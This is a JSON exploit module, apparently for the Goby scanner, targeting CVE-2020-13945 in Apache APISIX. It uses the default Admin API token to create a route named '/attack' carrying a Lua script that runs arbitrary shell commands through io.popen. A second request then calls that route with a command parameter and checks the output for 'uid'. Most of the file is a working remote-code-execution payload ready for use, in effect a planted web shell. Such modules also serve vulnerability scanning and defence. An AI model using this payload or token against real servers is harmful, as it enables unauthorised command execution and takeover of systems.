{
      "Name": "Apache APISIX Admin API Default Token CVE-2020-13945",
      "Level": "1",
      "Tags": [
            "defaulttoken"
      ],
      "GobyQuery": "header=\"APISIX\"",
      "Description": "The Apache APISIX Dashboard is designed to make it as easy as possible for users to operate Apache APISIX through a frontend interface.",
      "Product": "Apache APISIX Dashboard",
      "Homepage": "https://apisix.apache.org/",
      "Author": "",
      "Impact": "In Apache APISIX, the user enabled the Admin API and deleted the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data. This affects versions 1.2, 1.3, 1.4, 1.5.",
      "Recommendation": "",
      "References": [
            "https://nvd.nist.gov/vuln/detail/CVE-2020-13945",
            "https://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html"
      ],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "Command",
                  "Type": "input",
                  "Value": "id"
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/apisix/admin/routes",
                        "follow_redirect": true,
                        "header": {
                              "X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1",
                              "Content-Type": "application/json"
                        },
                        "data_type": "text",
                        "data": "{\r\n    \"uri\": \"/attack\",\r\n\"script\": \"local _M = {} \\n function _M.access(conf, ctx) \\n local os = require('os')\\n local args = assert(ngx.req.get_uri_args()) \\n local f = assert(io.popen(args.cmd, 'r'))\\n local s = assert(f:read('*a'))\\n ngx.say(s)\\n f:close()  \\n end \\nreturn _M\",\r\n    \"upstream\": {\r\n        \"type\": \"roundrobin\",\r\n        \"nodes\": {\r\n            \"example.com:80\": 1\r\n        }\r\n    }\r\n}",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "201",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "attack",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/attack?cmd={{{Command}}}",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "uid",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|(.*)"
                  ]
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}